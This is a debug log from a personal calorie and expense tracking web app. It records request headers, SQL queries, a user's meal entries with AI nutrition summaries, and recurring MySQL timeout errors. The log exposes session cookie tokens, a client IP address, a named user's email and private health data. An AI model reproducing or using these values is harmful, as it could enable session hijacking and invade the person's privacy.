    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T11:14:51.095Z server-connect:app Executing action step identify
2025-12-18T11:14:51.096Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.096Z server-connect:output identity: 1
2025-12-18T11:14:51.574Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T11:14:51.575Z server-connect:app Executing action step identify
2025-12-18T11:14:51.575Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.575Z server-connect:output identity: 1
2025-12-18T11:14:51.575Z server-connect:app Executing action step restrict
2025-12-18T11:14:51.575Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T11:14:51.575Z server-connect:output restrict: undefined
2025-12-18T11:14:51.575Z server-connect:app Executing action step single
2025-12-18T11:14:51.576Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T11:14:51.576Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T11:14:51.579Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T11:14:51.581Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T11:14:51.581Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T11:14:51.581Z server-connect:app Executing action step identify
2025-12-18T11:14:51.581Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.582Z server-connect:output identity: 1
2025-12-18T11:14:51.582Z server-connect:app Executing action step restrict
2025-12-18T11:14:51.582Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T11:14:51.582Z server-connect:app Executing action step identify
2025-12-18T11:14:51.582Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.582Z server-connect:output identity: 1
2025-12-18T11:14:51.582Z server-connect:app Executing action step restrict
2025-12-18T11:14:51.582Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T11:14:51.583Z server-connect:app Executing action step identify
2025-12-18T11:14:51.583Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.583Z server-connect:output identity: 1
2025-12-18T11:14:51.583Z server-connect:app Executing action step restrict
2025-12-18T11:14:51.583Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:51.583Z server-connect:output restrict: undefined
2025-12-18T11:14:51.583Z server-connect:app Executing action step single
2025-12-18T11:14:51.583Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T11:14:51.584Z server-connect:output restrict: undefined
2025-12-18T11:14:51.584Z server-connect:app Executing action step single
2025-12-18T11:14:51.584Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T11:14:51.584Z server-connect:output restrict: undefined
2025-12-18T11:14:51.585Z server-connect:app Executing action step select
2025-12-18T11:14:51.585Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T11:14:51.586Z server-connect:output summary: {
  summary: {
    rating: 8,
    summary: "The day's nutrition shows a good focus on protein intake, particularly with the inclusion of whey protein, which supports muscle development goals. Meal composition appears balanced with vegetables and carbohydrates. Consistent early morning gym sessions are a strong positive for recovery and fat loss. Overall, the routine aligns well with the stated objectives.",
    bad_points: [
      'The snack item might be high in carbohydrates and fats.',
      'Milk tea could be a source of added sugars.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle support.',
      'Presence of vegetables in the meal.',
      'Consistent early morning gym attendance.'
    ],
    suggestions: [
      'Consider a protein-rich snack option.',
      'Hydrate adequately throughout the day.',
      'Ensure meals are spaced appropriately to support energy levels.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T11:14:51.587Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T11:14:51.587Z server-connect:app Executing action step select
2025-12-18T11:14:51.587Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T11:14:51.588Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  }
]
2025-12-18T11:14:51.588Z server-connect:app Executing action step setvalue
2025-12-18T11:14:51.588Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T11:14:51.588Z server-connect:output var_total: 938
2025-12-18T11:14:51.588Z server-connect:app Executing action step setvalue
2025-12-18T11:14:51.589Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T11:14:51.589Z server-connect:output var_consumed: 39
2025-12-18T11:14:51.589Z server-connect:app Executing action step setvalue
2025-12-18T11:14:51.589Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T11:14:51.589Z server-connect:output var_deficit: 1462
2025-12-18T11:14:51.589Z server-connect:app Executing action step custom
2025-12-18T11:14:51.589Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T11:14:51.590Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '938',
    surplus_or_deficit: '1462',
    status_flag: 2
  }
]
2025-12-18T11:14:51.592Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T11:14:52.150Z server-connect:app Executing action step identify
2025-12-18T11:14:52.150Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:52.150Z server-connect:output identity: 1
2025-12-18T11:37:21.236Z server-connect:app Executing action step identify
2025-12-18T11:37:21.236Z server-connect:app options: { provider: 'security' }
2025-12-18T11:37:21.236Z server-connect:output identity: 1
2025-12-18T11:37:23.776Z server-connect:app Executing action step identify
2025-12-18T11:37:23.776Z server-connect:app options: { provider: 'security' }
2025-12-18T11:37:23.776Z server-connect:output identity: 1
2025-12-18T11:39:44.975Z server-connect:app Executing action step identify
2025-12-18T11:39:44.975Z server-connect:app options: { provider: 'security' }
2025-12-18T11:39:44.975Z server-connect:output identity: 1
2025-12-18T11:39:47.403Z server-connect:app Executing action step identify
2025-12-18T11:39:47.403Z server-connect:app options: { provider: 'security' }
2025-12-18T11:39:47.403Z server-connect:output identity: 1
2025-12-18T12:05:25.672Z server-connect:app Executing action step identify
2025-12-18T12:05:25.673Z server-connect:app options: { provider: 'security' }
2025-12-18T12:05:25.673Z server-connect:output identity: 1
2025-12-18T12:05:28.461Z server-connect:app Executing action step identify
2025-12-18T12:05:28.461Z server-connect:app options: { provider: 'security' }
2025-12-18T12:05:28.461Z server-connect:output identity: 1
2025-12-18T12:17:46.232Z server-connect:app Executing action step identify
2025-12-18T12:17:46.232Z server-connect:app options: { provider: 'security' }
2025-12-18T12:17:46.232Z server-connect:output identity: 1
2025-12-18T12:17:49.838Z server-connect:app Executing action step identify
2025-12-18T12:17:49.838Z server-connect:app options: { provider: 'security' }
2025-12-18T12:17:49.838Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 12:21:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 12:21:59' as DATETIME)"
}
2025-12-18T12:25:10.236Z server-connect:app Executing action step identify
2025-12-18T12:25:10.236Z server-connect:app options: { provider: 'security' }
2025-12-18T12:25:10.237Z server-connect:output identity: 1
2025-12-18T12:25:14.013Z server-connect:app Executing action step identify
2025-12-18T12:25:14.013Z server-connect:app options: { provider: 'security' }
2025-12-18T12:25:14.013Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 12:27:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 12:27:09' as DATETIME)"
}
2025-12-18T12:35:53.228Z server-connect:app Executing action step identify
2025-12-18T12:35:53.228Z server-connect:app options: { provider: 'security' }
2025-12-18T12:35:53.229Z server-connect:output identity: 1
2025-12-18T12:35:55.500Z server-connect:app Executing action step identify
2025-12-18T12:35:55.500Z server-connect:app options: { provider: 'security' }
2025-12-18T12:35:55.501Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 13:17:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 13:17:09' as DATETIME)"
}
2025-12-18T13:19:15.065Z server-connect:app Executing action step identify
2025-12-18T13:19:15.065Z server-connect:app options: { provider: 'security' }
2025-12-18T13:19:15.065Z server-connect:output identity: 1
2025-12-18T13:19:39.876Z server-connect:app Executing action step identify
2025-12-18T13:19:39.876Z server-connect:app options: { provider: 'security' }
2025-12-18T13:19:39.876Z server-connect:output identity: 1
2025-12-18T13:24:51.193Z server-connect:app Executing action step identify
2025-12-18T13:24:51.193Z server-connect:app options: { provider: 'security' }
2025-12-18T13:24:51.193Z server-connect:output identity: 1
2025-12-18T13:24:54.497Z server-connect:app Executing action step identify
2025-12-18T13:24:54.497Z server-connect:app options: { provider: 'security' }
2025-12-18T13:24:54.497Z server-connect:output identity: 1
2025-12-18T13:36:02.262Z server-connect:app Executing action step identify
2025-12-18T13:36:02.262Z server-connect:app options: { provider: 'security' }
